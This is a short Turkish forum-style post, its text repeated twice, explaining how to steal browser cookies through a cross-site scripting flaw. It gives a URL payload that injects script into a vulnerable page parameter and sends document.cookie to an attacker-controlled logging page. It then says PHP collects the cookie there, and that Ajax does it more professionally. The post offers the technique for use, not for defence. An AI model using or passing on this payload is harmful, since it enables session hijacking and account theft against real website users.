Selamun aleyküm.
Örneğin basit bir xss atağından docu ment.cookie ile çerezleri göndermek istiyoruz.
- site.com/falanfilan.php?xyz=zararlı_kodumuz;window.loca tion="http://sitemiz.com/loglar.php?log="+docum ent.cookie;
php ile log değişkeniyle çerezi çekersin.
Ajax ile daha profesyoneli yapılabilir. en basit bu şekil.
Örneğin basit bir xss atağından docu ment.cookie ile çerezleri göndermek istiyoruz.
- site.com/falanfilan.php?xyz=zararlı_kodumuz;window.loca tion="http://sitemiz.com/loglar.php?log="+docum ent.cookie;
php ile log değişkeniyle çerezi çekersin.
Ajax ile daha profesyoneli yapılabilir. en basit bu şekil.